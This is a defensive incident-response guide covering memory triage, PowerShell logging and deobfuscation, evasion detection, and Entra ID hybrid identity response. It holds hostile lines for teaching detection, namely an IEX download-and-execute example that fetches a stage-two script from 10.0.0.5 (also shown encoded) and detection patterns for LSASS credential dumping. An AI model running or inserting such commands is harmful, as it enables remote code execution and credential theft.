3. **Check what's actually mapped in its memory.** [Injected Code Detection](#) — `malfind / ldrmodules / vadinfo`. Is there RWX, unbacked memory? A module present in the VAD tree but missing from the PEB's own lists?
4. **Check its threads specifically.** [Thread Analysis](#) — does every thread's start address resolve to a loaded module, or is there one that doesn't?
5. **Check for a single-instance marker.** [Mutex Analysis](#) — a distinctive mutex name is both a fingerprinting opportunity and, if it matches known threat intelligence, potentially your fastest path to an answer.
6. **Check what it's talking to.** [Network Artifacts in Memory](#) — `netstat / netscan`, cross-referenced against the process that owns each connection.

Each step either **closes off** a line of inquiry (thread start addresses all resolve cleanly — injection is not how this is hiding) or **hands you a concrete artifact** to carry into the next step (an unresolved thread start address, extracted and hashed, becomes a new indicator to search across the rest of the environment).

3.11.4 Turning capability into an impact statement

The single most common gap between a technically-thorough triage and a useful one: stopping at "here's what we found" without translating it into "here's what this means it could do to the organization." A capability inventory built from the steps above maps directly onto impact:

What you found	What it means
Injection capability + LSASS access pattern	Credential theft — assume any account that authenticated on this host is potentially compromised
Network C2 imports + active connection in <code>netscan</code>	Active remote control — the attacker may still have hands-on access right now, not just a dormant infection
Broad file-write access + encryption-library imports	Ransomware capability — treat as a Ransomware playbook scenario immediately, don't wait for encryption to actually start to escalate
A persistence mechanism already in place	This isn't a single-touch infection — assume the attacker planned for you to find and remove the process, and check that the persistence path is closed too

This table is the bridge between the technical work in this module and the next skill: writing it up in a way that's both technically defensible and understandable to someone who isn't going to read a VAD dump. See [Reporting & Communication](#).

3.11.5 Referenced From

- [Module 3: Windows Memory Forensics](#)
- [Memory-Based File Recovery](#)

3.11.6 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR508 / FOR610 — malware triage and memory-based analysis methodology)
- MITRE ATT&CK — used throughout this guide as the capability-tagging system; see the [ATT&CK Primer](#)

 August 3, 2026

4. PowerShell Forensics

PowerShell

4.1 Module 4: PowerShell Forensics

PowerShell is the single highest-leverage execution surface on modern Windows: it's trusted, pre-installed, deeply capable, and — critically — able to run entirely in memory. A script that never touches disk never generates a [Prefetch](#) entry, never gets an AV file-scan hit, and leaves no artifact for [Module 1](#)'s filesystem techniques to find. This module is about the logging and analysis techniques that work anyway.

4.1.1 Module status: complete

- [x] [PowerShell Logging](#) — the four logging mechanisms, why Script Block Logging (4104) matters most, what normal volume looks like
- [x] [Obfuscation & Decoding](#) — the hands-on walkthrough, with verified worked examples: `-EncodedCommand`, compression, character codes, string reassembly, backticks
- [x] [Evasion Detection](#) — AMSI, version-downgrade attacks, Constrained Language Mode escape, all at the detection level
- [x] [Malicious Cmdlet Patterns](#) — the reference list of what to alert on, and why context matters more than any single pattern



How this module is scoped

Everything here is written for the defender reading logs and memory captures after the fact, or building detections ahead of time — not for writing evasive PowerShell. Where offensive technique *categories* are named (AMSI bypass, downgrade attacks), the content stops at "here's the detection signature," consistent with every other module in this guide.

4.1.2 Referenced From

- [ATT&CK Coverage Map](#)
- [Order of Volatility](#)
- [Module 3: Windows Memory Forensics](#)
- [Network Artifacts in Memory](#)
- [Enterprise DFIR Field Guide](#)

🕒 August 3, 2026

PowerShell

4.2 PowerShell Forensics: Logging

PowerShell is capable enough to do almost anything on modern Windows — and, critically, capable of doing it **entirely in memory**. A script that never writes itself to disk never generates a [Prefetch](#) entry, never gets an AV file-scan hit, and leaves nothing for filesystem-based artifacts to find. Logging is how you get visibility anyway. None of the four mechanisms below are mutually exclusive — a well-instrumented environment runs several at once.

4.2.1 The four mechanisms

Mechanism	What it captures	Event ID(s)	Enable via
Module Logging	Pipeline execution details for specified modules — the cmdlets and parameters used	4103	GPO: <i>Turn on Module Logging</i>
Script Block Logging	The actual code executed — including code that was itself generated by deobfuscating something else at runtime	4104	GPO: <i>Turn on PowerShell Script Block Logging</i>
Transcription	A full text transcript of an entire session, input and output	Written to file, not the event log	GPO: <i>Turn on PowerShell Transcription</i>
Legacy Engine/ Pipeline events	Engine start/stop and basic pipeline execution — coarse, but present on older systems without the above configured	400 / 403 (engine), 800 (pipeline)	On by default on older PowerShell versions

4.2.2 Script Block Logging is the one that matters most

Event ID 4104 is the single highest-value PowerShell log source in this guide, for one specific reason: it logs the code **after** PowerShell's own engine has resolved it — meaning a script that used [obfuscation](#) to hide its intent from a human reader or a signature-based scanner still shows up in 4104 as the de-obfuscated, actually-executing code, because that's what the engine is actually running by the time this event fires. This is why 4104 routinely defeats obfuscation techniques that would otherwise defeat a simpler log source.

A 4104 event is split across multiple log entries if the script block is long, with `ScriptBlockId` tying the pieces back together and a message field noting `(n of m)` — don't mistake a single large script for multiple unrelated small ones when reviewing a log export.

A detail worth knowing even on hosts where full logging isn't configured: since PowerShell 5.0, the engine automatically promotes a 4104 event to **Warning level** whenever a script block's content matches an internal list of suspicious patterns (encoded commands, known reflection/AMSI-tampering strings, and similar), even when Script Block Logging hasn't been explicitly enabled. Filtering a log export on `LevelDisplayName = Warning` is a cheap, high-signal starting point precisely because PowerShell itself already did some of the triage — though note this auto-logging can itself be suppressed if Script Block Logging is explicitly *disabled* via policy, so its absence isn't automatically reassuring.

The legacy **Event ID 400** (engine start) is worth a specific mention here too: its `HostApplication` field frequently contains the full command line PowerShell was actually launched with — which makes it genuinely useful even on a host where none of the modern logging GPOs were ever configured.

4.2.3 What normal looks like

Most 4103/4104 volume in a well-managed environment comes from legitimate administrative scripting, scheduled maintenance tasks, management tooling (Configuration Manager, monitoring agents), and — increasingly — PowerShell modules bundled with ordinary software. Baseline what's normal for a given host role before treating volume alone as suspicious; a server running

frequent legitimate automation will generate far more 4104 events than a standard workstation, and that's expected, not alarming on its own.

✓ **Baseline**

4104 events matching known administrative scripts, scheduled automation, or recognized management tooling, consistent with the host's role.

⚡ **Red flag**

A 4104 event whose script block, once read, matches any of the [malicious cmdlet patterns](#) in this guide — regardless of how the command line that triggered it was originally obfuscated.

4.2.4 Referenced From

- [Module 4: PowerShell Forensics](#)
- [PowerShell Forensics: Obfuscation & Decoding](#)

4.2.5 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR508 — PowerShell logging and analysis)
- Microsoft Learn — [about_Logging_Windows](#)

🕒 August 3, 2026

PowerShell

4.3 PowerShell Forensics: Obfuscation & Decoding

This page is the hands-on companion to [PowerShell Logging](#): once you have a captured command line or a decoded Script Block Logging (4104) event, this is how you turn what looks like noise into something you can actually read and assess. Every example below was generated and round-trip verified — nothing here is approximated.

4.3.1 Step 1: Recognize `-EncodedCommand`

PowerShell accepts `-EncodedCommand` (and any unambiguous abbreviation — `-e`, `-en`, `-enc` all work identically) followed by a long Base64-looking string. This is the single most common obfuscation layer you'll encounter, precisely because it's a built-in, fully legitimate PowerShell feature that any script can invoke.

The gotcha that trips up most people the first time: the string isn't Base64 of plain ASCII text — it's Base64 of the command encoded as **UTF-16LE** (Unicode), which is how PowerShell represents strings internally. Base64-decode it as if it were plain UTF-8 and you'll get garbage interspersed with null bytes. Decode it as UTF-16LE and it's immediately readable.

Worked example

Original command:

```
Get-Process | Where-Object {$_.CPU -gt 100}
```

What an attacker (or a legitimate script) would actually pass on the command line:

```
powershell.exe -EncodedCommand RwBIAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFcAaABIAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBDAFAAVQAgAC0AZwB0ACAAMQAwADAAfQA=
```

To decode it, in PowerShell itself:

```
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("RwBIAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFcAaABIAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBDAFAAVQAgAC0AZwB0ACAAMQAwADAAfQA="))
```

Memorize that line. It's the single most useful piece of PowerShell forensics tradecraft in this entire guide — you will use it constantly.

In CyberChef: the "From Base64" recipe followed by "Decode text" set to UTF-16LE reproduces the same result without needing a PowerShell session at all, which matters when you're working from a static log export rather than a live or sandboxed host.

4.3.2 Step 2: Recognize a second, compressed layer

Obfuscation is frequently layered — a script gets compressed *before* it's Base64-encoded, both to shrink an otherwise very long encoded command and to defeat simple string-matching detections looking for plaintext indicators inside the Base64 blob. If decoding the Base64 (Step 1) still leaves you with unreadable binary-looking data rather than a script, this is almost always why.

Worked example

Original payload:

```
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.5/stage2.ps1')
```

Compressed and Base64-encoded:

```
eJzzdIIQ0PBLLdfIT8pKTS5R8Est0QtPTXLOyUzNK9HUC8kvz8vJT0wJLinKzEvXUM8oKSmw0tc3NNADQVP94pLE9FQjvYJiQ3VNAK6zGAM=
```

To decode it, in PowerShell itself (this example uses the standard compressed-stream pattern seen in the wild — adjust the stream class to match `GzipStream` vs `DeflateStream` depending on which compression the sample actually uses):

```
$compressed =
[System.Convert]::FromBase64String("eJzzdI1Q0PBLldf1T8pKTS5R8Est0QtPTXL0yUzNK9Huc8kvz8vJT0wJLinKzEvXUM8oKSmw0tc3NNADQVP94pLE9FQjvYJiQ3VNAK6zGAM=")
$ms = New-Object System.IO.MemoryStream($compressed)
$gz = New-Object System.IO.Compression.GzipStream($ms, [System.IO.Compression.CompressionMode]::Decompress)
$sr = New-Object System.IO.StreamReader($gz)
$sr.ReadToEnd()
```

In CyberChef: "From Base64" followed by "Gunzip" (or "Raw Inflate" if the sample uses raw DEFLATE rather than a full gzip/zlib wrapper — if Gunzip errors out, that's your signal to try Raw Inflate instead).

A quick visual tell

Gzip's file signature (magic bytes `1F 8B 08`) happens to Base64-encode to a string starting with `H4sI` — seeing an encoded blob start with those four characters is a fast, reliable hint that a compression layer is involved before you've even started decoding, worth verifying with `[int][byte[]](...)`-style byte inspection if you want to confirm it yourself rather than take it on faith.

4.3.3 Step 3: Recognize character-code and string-reassembly obfuscation

Once you're past Base64 and compression, the underlying script itself is often *still* obfuscated — this layer defeats human eyeballing and signature matching on the literal text of a malicious cmdlet name, without needing any encoding at all.

Character codes. ASCII values reassembled at runtime:

```
[char]73+[char]69+[char]88 # evaluates to "IEX"
```

(I = 73, E = 69, X = 88 — verify any character code yourself in PowerShell with `[int][char]'I'` if a sample uses a value you don't recognize.)

String splitting and concatenation. The same idea with string fragments instead of char codes — `'I'+'E'+'X'`, or reversed strings rebuilt with `-join`, or the `-f` format operator interleaving fragments.

Backtick insertion. PowerShell's backtick is an escape character, and — critically — a backtick before a character with no defined escape meaning is simply a no-op that yields that character literally. `I`E`X` still parses and executes as `IEX`, because neither ``E` nor ``X` is a recognized escape sequence. (Backticks *do* change meaning before specific characters — ``n`, ``t`, ``r`, ``0`, ``a`, ``b`, ``f`, ``v`, ``#`, and a backtick or `$` immediately following a backtick — so a sample avoiding those specific characters after each backtick is a tell that the obfuscation was deliberately constructed, not accidental.)

Red flag

Any of these patterns in a command line or decoded script block, especially feeding directly into `IEX` / `Invoke-Expression` — see [Malicious Cmdlet Patterns](#) for the broader reference.

4.3.4 The general decode workflow

1. Find the `-EncodedCommand` / `-enc` flag and its Base64 argument.
2. Decode as **UTF-16LE**, not UTF-8/ASCII.
3. If the result is still unreadable, decompress (try Gunzip, then Raw Inflate).
4. In the resulting script text, look for char-code arrays, string concatenation, or backtick insertion, and manually (or via CyberChef's Magic recipe, which will often auto-detect and chain the right steps) unwind them.
5. Repeat — layered obfuscation tools commonly nest two or three of the above, and it's normal to go through this loop more than once before reaching genuinely final, readable code.

 Practice this

[PowerShell Decode](#) gives you a fresh, independently-verified `-EncodedCommand` string — different from every example on this page — to decode yourself before checking the answer.

4.3.5 Referenced From

- [ATT&CK Coverage Map](#)
- [Operationalizing Threat Intelligence](#)
- [PowerShell Forensics: Evasion Detection](#)
- [Module 4: PowerShell Forensics](#)
- [PowerShell Forensics: Logging](#)
- [PowerShell Forensics: Malicious Cmdlet Patterns](#)

4.3.6 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR508 / FOR610 — PowerShell and script-based attack analysis)
- Microsoft Learn — [about_Escape_Characters](#), [\[System.Text.Encoding\]](#) and [\[System.Convert\]](#) .NET reference

 August 3, 2026

PowerShell

4.4 PowerShell Forensics: Evasion Detection

This page covers three ways attackers try to defeat PowerShell's own defensive features, and — consistent with every other page in this guide — stays strictly on the detection side: how to recognize an evasion *attempt*, not how to build one.

4.4.1 AMSI (Antimalware Scan Interface)

AMSI is the interface that lets an antivirus/EDR engine inspect script content — including PowerShell, VBScript, and JScript — **after deobfuscation, immediately before execution**, which is exactly the point in the pipeline where [obfuscated code](#) has already been unwound back to its real, executable form. This is what makes AMSI meaningfully more effective against obfuscation than a static, on-disk file scan: it doesn't matter how the script arrived or how it was disguised in transit, because AMSI sees what's actually about to run.

Because of this, AMSI is a high-value target for evasion, and known bypass-attempt *categories* are worth being able to recognize in telemetry:

- **In-memory patching of `amsi.dll`** — modifying the loaded AMSI module in a process's memory to make scan calls silently report "clean" regardless of content. Detectable via unusual memory-permission changes or unexpected modifications to `amsi.dll`'s in-memory code pages — see [Memory Forensics](#) for the underlying analysis techniques.
- **PowerShell downgrade to version 2** — see below; PowerShell v2 predates AMSI integration entirely, so running under v2 sidesteps AMSI without needing to touch or patch it at all.
- **Reflection-based tampering** with the `System.Management.Automation.AmsiUtils` class's internal state via .NET reflection, rather than patching memory directly.

Red flag

Evidence of memory modification to `amsi.dll` in a PowerShell process, or any process attempting to load PowerShell under version 2 on a modern system.

4.4.2 PowerShell version-downgrade attacks

PowerShell maintains backward compatibility — if Windows PowerShell 2.0 is still installed (it's been deprecated for years, but often isn't actually *removed*), a script can explicitly request it:

```
powershell.exe -version 2 -Command "..."
```

Version 2 predates both AMSI and Script Block Logging, so this single flag, if it succeeds, silently drops an attacker back to an execution environment with essentially none of the modern defensive telemetry this guide otherwise relies on.

Detection is refreshingly simple: in any environment where PowerShell v2 has been properly removed (Microsoft's own recommendation), an attempt to invoke `-version 2` fails outright and that failure is itself the detection. In environments where v2 is still present for legacy-compatibility reasons, any `-version 2` invocation at all is worth alerting on directly — legitimate modern administrative work essentially never needs it.

Red flag

Any `powershell.exe -version 2` invocation, full stop, in a modern environment.

4.4.3 Constrained Language Mode (CLM)

CLM restricts PowerShell to a safe subset of the language — blocking direct .NET method invocation, COM object creation, and other capabilities commonly abused for post-exploitation — typically deployed alongside AppLocker or WDAC as part of a broader application-control strategy.

Detecting an *escape attempt* matters more than explaining the restriction itself: look for repeated, rapid-fire errors referencing blocked language elements in Script Block Logging (4104) output immediately preceding a successful, unrestricted-looking command — that pattern is consistent with an attacker iterating through known CLM bypass techniques until one works. A session that starts constrained and later executes something CLM should have blocked is a strong signal regardless of which specific bypass method got them there.

Red flag

A cluster of CLM-restriction errors in 4104 logging immediately followed by execution of a command CLM should have blocked.

4.4.4 Referenced From

- [ATT&CK Coverage Map](#)
- [Module 4: PowerShell Forensics](#)
- [Glossary](#)

4.4.5 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR508 / FOR610 — PowerShell attack detection)
- Microsoft Learn — AMSI overview, [about_Language_Modes](#)

 August 3, 2026

PowerShell T1059 T1059.001

4.5 PowerShell Forensics: Malicious Cmdlet Patterns

A reference list of PowerShell patterns worth alerting on directly — not because any single one is inherently malicious (most have legitimate administrative uses), but because their combination, context, or specific usage pattern is a reliable tell. Use this alongside [decoded](#) command-line and Script Block Logging content, since these patterns are exactly what's typically hiding underneath an obfuscation layer.

4.5.1 Download-and-execute chains

Pattern	Why it matters
<code>IEX (New-Object Net.WebClient).DownloadString(...)</code>	The single most common one-liner in commodity malware and post-exploitation frameworks — download a script as a string and execute it immediately, entirely in memory, with nothing ever written to disk
<code>Invoke-WebRequest / iwr</code> piped into <code>Invoke-Expression / iex</code>	Functionally identical to the above using more modern cmdlets
<code>Invoke-Expression (IEX)</code> fed by <i>any</i> dynamically constructed string	The common thread across nearly every pattern on this page — <code>IEX</code> is what turns "downloaded or decoded text" into "running code"

Destination worth checking against: raw IP addresses rather than domain names, non-standard ports, and paste-bin-style or code-hosting-raw-file URLs are all disproportionately represented in real malicious traffic compared to legitimate administrative scripting.

4.5.2 In-memory / reflective loading

Pattern	Why it matters
<code>[System.Reflection.Assembly]::Load(...)</code>	Loads a .NET assembly directly from a byte array in memory, without ever touching disk — the .NET equivalent of the fileless execution PowerShell itself enables at the script level
<code>[System.Reflection.Assembly]::LoadWithPartialName(...)</code>	Same intent, an older/alternate API
<code>Add-Type</code> with inline C# source	Compiles and loads arbitrary code at runtime — legitimate in some administrative tooling, but worth reviewing the actual inline source when it appears

4.5.3 Credential and memory access

Pattern	Why it matters
Any script invoking <code>MiniDumpWriteDump</code> via <code>P/Invoke</code> , or calling out to <code>procdump.exe / comsvcs.dll</code> targeting <code>lsass.exe</code>	Credential-dumping via LSASS memory access, initiated from PowerShell rather than a standalone tool — cross-reference with LSA Provider / SSP abuse and the baseline process tree expectations for <code>lsass.exe</code>

4.5.4 Discovery and reconnaissance chains

Pattern	Why it matters
<code>Get-ADUser / Get-ADComputer</code> with broad, unfiltered queries, especially run from a workstation rather than a management host	Domain enumeration — legitimate on an admin's jump box, unusual from a regular user endpoint
<code>nltest</code> , <code>Get-NetTCPConnection</code> , or similar invoked in quick succession from a single session	Consistent with an attacker's situational-awareness phase immediately after gaining a foothold

4.5.5 What ties all of this together

None of these are reliable in isolation — the same cmdlets show up constantly in legitimate IT automation. What matters is context: an unexpected account or host running them, an unusual destination, a cluster of several of these patterns in one session rather than one in isolation, or any of them appearing in a [decoded](#) script block that was deliberately hidden behind Base64, compression, or character-code obfuscation in the first place. That last one is the strongest signal on this entire page — legitimate administrative scripts have no reason to hide what they're doing from the person running them.

 **Red flag**

Any pattern on this page found inside a script block that was obfuscated to reach that point.

4.5.6 Referenced From

- [Module 4: PowerShell Forensics](#)
- [PowerShell Forensics: Obfuscation & Decoding](#)
- [PowerShell Forensics: Logging](#)

4.5.7 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR508 / FOR610 — PowerShell attack tradecraft)
- MITRE ATT&CK — [T1059.001 \(PowerShell\)](#)

 August 3, 2026

5. Cloud Identity (Entra ID / Hybrid)

Cloud Identity

5.1 Module 6: Cloud Identity (Entra ID / Hybrid)

Covers Microsoft Entra ID (formerly Azure AD) sign-in and audit telemetry, Conditional Access, Identity Protection, and — critically for most enterprises — the mechanics of **hybrid identity**, where an on-prem Active Directory account and its cloud counterpart are two records that must both be handled correctly during an incident.

5.1.1 Module status: complete

- [x] [Sign-In Logs vs. Audit Logs](#) — what each captures, and the retention trap between Entra's native logs and the Purview Unified Audit Log
- [x] [Conditional Access in an Investigation](#)
- [x] [Identity Protection Risk Signals](#) — impossible travel, atypical travel, anonymized IP, leaked credentials
- [x] [Hybrid Sync Mechanics](#) — password hash sync vs. pass-through authentication vs. federation
- [x] [The Entra Connect Server: A Target in Its Own Right](#) — why this box carries DCSync-equivalent risk

5.1.2 Hybrid account-compromise runbook (available now)

This is the one piece of this module that's fully written, because it directly answers two specifics worth getting exactly right.

Why the password gets reset *twice* in hybrid environments

For a hybrid-joined account, Microsoft's own emergency-access guidance is explicit: reset the on-prem Active Directory password **twice**, not once. The reasoning is about timing, not superstition — if there's any delay in on-prem-to-cloud password replication (via Entra Connect / password hash sync), a single reset can leave a window where the *old* password hash is still valid somewhere in the sync pipeline, which is exactly the condition a pass-the-hash attack exploits. A second reset closes that window regardless of where the delay actually occurred. If you can confidently rule out compromise of the credential itself, Microsoft's own guidance allows a single reset — but for a suspected-compromised account, treat the double reset as the default, not the exception.

Why PowerShell, not the admin-center GUI, for session revocation

Disabling an account and resetting its password does **not** by itself invalidate tokens already issued to that account. An attacker holding a valid refresh token can keep minting new access tokens against Exchange Online, SharePoint, Teams, and any other app that token was scoped to — until that refresh token is explicitly revoked.

The current tool for this is the `Revoke-MgUserSignInSession` cmdlet (Microsoft Graph PowerShell SDK):

```
Connect-MgGraph -Scopes "User.ReadWrite.All"
Revoke-MgUserSignInSession -UserId "user@contoso.com"
```

This invalidates every refresh token issued to every application for that user, plus browser session cookies, in one call — by resetting a session-validity timestamp on the account itself, rather than needing to individually revoke sessions app by app. That's the forceful, simultaneous, cross-app behavior that makes it the right tool over the GUI's more piecemeal session-revocation options.

 Deprecated — don't use

Older guides reference `Revoke-AzureADUserAllRefreshToken` from the legacy `AzureAD` PowerShell module. That module is being retired — use `Revoke-MgUserSignInSession` from the Microsoft Graph SDK instead.

 Full remediation order for a compromised hybrid account

1. Disable the account in on-prem Active Directory (the source of authority)
2. Reset the on-prem password **twice**
3. Run `Revoke-MgUserSignInSession` against the Entra ID account
4. Review and remove any [persistence](#) the attacker may have added — OAuth grants, mailbox rules, MFA methods — before re-enabling

Access tokens already issued before revocation remain valid until they naturally expire (commonly up to an hour) — revocation stops new token issuance, it does not retroactively kill tokens already in an attacker's hands. Plan containment (network/Conditional-Access blocking) accordingly if that window matters for your scenario.

5.1.3 Referenced From

- [Evidence Handling & Chain of Custody — for Enterprise IR](#)
- [Order of Volatility](#)
- [Hybrid Sync Mechanics](#)
- [Playbook: Business Email Compromise \(BEC\)](#)
- [Playbook: Data Exfiltration](#)
- [Playbook: Domain Compromise / Lateral Movement](#)
- [Module 8: Investigation Playbooks](#)
- [Playbook: Phishing \(Initial Access\)](#)
- [Enterprise DFIR Field Guide](#)

5.1.4 Sources

- [Microsoft Learn — Revoke user access in an emergency in Microsoft Entra ID](#)
- [Microsoft Learn — Revoke-MgUserSignInSession reference](#)

 August 3, 2026

Cloud Identity

5.2 Sign-In Logs vs. Audit Logs (and the Retention Trap Between Them)

5.2.1 Two different questions, two different logs

- **Sign-in logs** answer "did someone get in, and how?" — every authentication attempt (successful or failed), the location, device, client app, which Conditional Access policies were evaluated and their result, and — with Identity Protection licensed — a risk assessment for that specific sign-in.
- **Audit logs** answer "what changed in the directory?" — administrative and object-level events: a user created, a role assigned, an app registration modified, a group membership changed.

A real investigation usually needs both, in sequence: the sign-in log to find *when and how* an attacker got in, the audit log to find *what they did once they were there* — a new mailbox rule, a new app registration, a new Conditional Access exclusion.

5.2.2 The retention trap: these are not the same system as the Unified Audit Log

This is a genuinely common point of confusion worth stating plainly: **Entra ID's own native sign-in and audit logs are a completely separate system from the Microsoft Purview Unified Audit Log (UAL)**, with independent retention governed differently.

System	Default retention	Governed by
Entra ID sign-in logs (native)	7 days (Free) / 30 days (P1 or P2)	Entra ID license tier
Entra ID audit logs (native)	7 days (Free) / 30 days (P1 or P2)	Entra ID license tier
Identity Protection risky sign-in data (P2)	An additional ~60 days on top of the above	Entra ID P2 license
Microsoft Purview Unified Audit Log	180 days (Standard) / 1 year+ (Premium, E5)	Microsoft Purview Audit, independent of Entra ID licensing

The practical implication: **if you're only relying on the Entra admin center's built-in log views, you may have as little as 7 days of visibility** — nowhere near enough for investigations that start well after initial compromise, which is most of them. Extending native Entra log retention requires configuring Diagnostic Settings to export to a Log Analytics workspace, Microsoft Sentinel, or a storage account *before* an incident — this cannot be backfilled retroactively once the native retention window has already passed.



Red flag (operational, not investigative)

Discovering during an active incident that Diagnostic Settings export was never configured, and the relevant sign-in activity is already outside the native 7/30-day window. This is a preparation gap, not a detection one — fix it before you need it, not during.

5.2.3 Referenced From

- [Timeline Construction & Correlation](#)
- [Module 6: Cloud Identity \(Entra ID / Hybrid\)](#)
- [Glossary](#)

5.2.4 Sources

- [Microsoft Learn — Microsoft Entra data retention](#)
- [Microsoft Learn — Manage audit log retention policies with Microsoft Purview](#)

🕒 August 3, 2026

Cloud Identity

5.3 Conditional Access in an Investigation

5.3.1 What it does, and why the sign-in log is where you check it

Conditional Access policies are evaluated at the moment of sign-in — the sign-in log records exactly which policies applied to a given sign-in and what each one decided: **Success** (requirements satisfied), **Failure** (requirements not met, sign-in blocked), or **Not Applied** (the policy's conditions didn't match this sign-in at all — wrong user group, wrong app, wrong location, and so on).

That last state is the one most worth double-checking during an investigation: a "Not Applied" result for a policy you *expected* to cover the sign-in in question usually means a scoping gap, not a bypass — but it's worth confirming which, since the practical effect on the account is identical either way.

5.3.2 Two things worth checking specifically

Was the policy actually enforcing, or only reporting? Conditional Access supports a "Report-only" mode specifically for testing new policies before turning on enforcement — a common and easy-to-miss misconfiguration is a policy that was meant to be protecting an account sitting in report-only mode indefinitely, generating log data about what *would* have happened without ever actually blocking anything. If a sign-in "should have" been stopped by a policy and wasn't, checking the policy's actual state (Enforced vs. Report-only) is one of the first things to rule out.

Did the sign-in use a protocol Conditional Access can't evaluate? Legacy authentication protocols (older POP, IMAP, and some legacy Exchange ActiveSync implementations) predate modern Conditional Access and, in environments where they're still permitted, can authenticate without most CA policies ever being able to evaluate them at all — not a bypass of the policy's logic, but a path that was never subject to it in the first place. Disabling legacy authentication is one of the highest-leverage hardening steps precisely because it closes this class of gap outright rather than requiring policy tuning.

 Red flag

A successful sign-in with no Conditional Access policies applied where several should have matched, a relevant policy discovered to be in Report-only rather than Enforced mode, or successful authentication via a legacy protocol that bypasses modern policy evaluation entirely.

5.3.3 Referenced From

- [Module 6: Cloud Identity \(Entra ID / Hybrid\)](#)

5.3.4 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR509 — cloud identity forensics)

 August 3, 2026

Cloud Identity

5.4 Identity Protection Risk Signals

Microsoft Entra ID Protection (P2) evaluates every sign-in and every user against a set of risk detections, surfacing a risk level that can drive automated response through risk-based Conditional Access policies.

5.4.1 The core signals

Signal	What it means	Notes for investigation
Impossible travel	Two sign-ins from locations that would require faster-than-physically-possible travel between them	High-confidence on its own, but VPN use by the legitimate user can occasionally trigger it — check the client/device consistency before assuming compromise
Atypical travel	A sign-in location inconsistent with the user's recent pattern, without necessarily being physically impossible	Softer signal than impossible travel; more useful in combination with other risk factors than alone
Anonymized IP address	Sign-in from a known anonymizing service (VPN, Tor, open proxy)	Not inherently malicious — plenty of legitimate corporate VPN and privacy-tool use looks identical — but worth correlating against the account's normal behavior
Leaked credentials	Microsoft correlates sign-in credentials against known, publicly circulating credential-dump datasets	A match means the <i>credential</i> is known-exposed, not necessarily that this specific sign-in is malicious — but it materially raises the stakes of any other simultaneous risk signal
Unfamiliar sign-in properties	ML-based detection of sign-in characteristics (device, location, behavior) inconsistent with the user's established pattern	The broadest, most heuristic signal — good as a contributing factor, weakest as a standalone trigger

5.4.2 How risk levels drive response

Each signal contributes to an overall risk level (low/medium/high) for the sign-in and, cumulatively, the user. Risk-based Conditional Access policies can act automatically on this — requiring MFA re-registration, forcing a password change, or blocking access outright — which means part of investigating a flagged account is confirming **what automated response, if any, already fired**, rather than assuming a human needs to take the first action.

Red flag

Multiple risk signals firing together for the same sign-in or the same user in a short window — the combination is a much stronger indicator than any single signal alone.

5.4.3 Referenced From

- [Module 6: Cloud Identity \(Entra ID / Hybrid\)](#)

5.4.4 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR509 — cloud identity investigation)

🕒 August 3, 2026

Cloud Identity

5.5 Hybrid Sync Mechanics

Three distinct models exist for connecting on-prem Active Directory identities to Entra ID, and knowing which one an environment uses changes both the attack surface and the investigation approach.

5.5.1 Password Hash Sync (PHS)

The on-prem password hash is re-hashed and synchronized to Entra ID, allowing cloud authentication to succeed even if on-prem infrastructure is unreachable. Two sync cadences run in parallel: the general directory delta sync (objects, group memberships, attributes) runs on a **30-minute default cycle**, but password changes specifically get their own dedicated, faster channel that runs **every 2 minutes** and can't be reconfigured to a different interval.

This is directly relevant to the [double password-reset guidance](#) elsewhere in this module: the sync channel itself is fast, but the guidance exists for the edge cases — replication lag between on-prem Domain Controllers before the change even reaches the PHS agent, or timing races during an active incident — not because PHS is inherently slow.

5.5.2 Pass-Through Authentication (PTA)

No password hash is stored in the cloud at all. Authentication requests are forwarded in real time to lightweight on-prem agents, which validate them directly against an on-prem Domain Controller. This means on-prem infrastructure availability becomes a hard dependency for cloud sign-in — if the on-prem agents or DCs are down, cloud authentication fails too, which is a meaningfully different availability posture than PHS.

5.5.3 Federation (AD FS)

An entirely different trust model: authentication is redirected to on-prem AD FS servers, which issue a signed token Entra ID trusts based on the federation relationship rather than validating a password or hash directly. This is the model that makes the [Golden SAML](#) technique possible — an attacker who compromises the AD FS token-signing certificate can forge valid tokens for any user without needing PHS, PTA, or any on-prem authentication event to fire at all.

5.5.4 Why this matters for scoping an investigation

The sync model in use determines where to even look. A PHS environment's authentication story lives primarily in the cloud (Entra sign-in logs); a PTA environment requires checking both the cloud request and the on-prem agent/DC logs it was forwarded to; a federated environment requires including the AD FS server itself as an in-scope asset from the start — treating it the same way this guide treats a Domain Controller, not as a peripheral system.

5.5.5 Referenced From

- [Module 6: Cloud Identity \(Entra ID / Hybrid\)](#)

5.5.6 Sources

- [Microsoft Learn — Implement password hash synchronization](#)
- [SANS Digital Forensics Certifications overview](#) (FOR509 — hybrid identity architecture)

🕒 August 3, 2026

5.6 The Entra Connect Server: A Target in Its Own Right

5.6.1 Why this page exists

Every other page in this module treats individual accounts and sign-ins as the unit of compromise. This page is about a single server that, if compromised, can be worse than compromising most individual Domain Controllers — and that this guide hasn't yet treated with the scrutiny it treats an actual DC.

5.6.2 What Entra Connect's on-prem account can actually do

Entra Connect (formerly Azure AD Connect) uses several distinct accounts, but the one that matters most for this page is the **AD DS Connector account** — the on-premises account it uses to read directory data for synchronization. That account is granted **Replicating Directory Changes and Replicating Directory Changes All** — the exact same extended rights documented on the [DCSync Detection](#) page, granted permanently and legitimately as a normal, required part of how hybrid sync functions, not as an anomaly to detect.

This means the Entra Connect server's service account is, by design, in the same rights class as a Domain Controller for the purpose of reading directory secrets. An attacker who compromises the Entra Connect server doesn't need to steal a separate DCSync-capable credential — the server they're already standing on has one.

5.6.3 The cloud side carries its own privilege

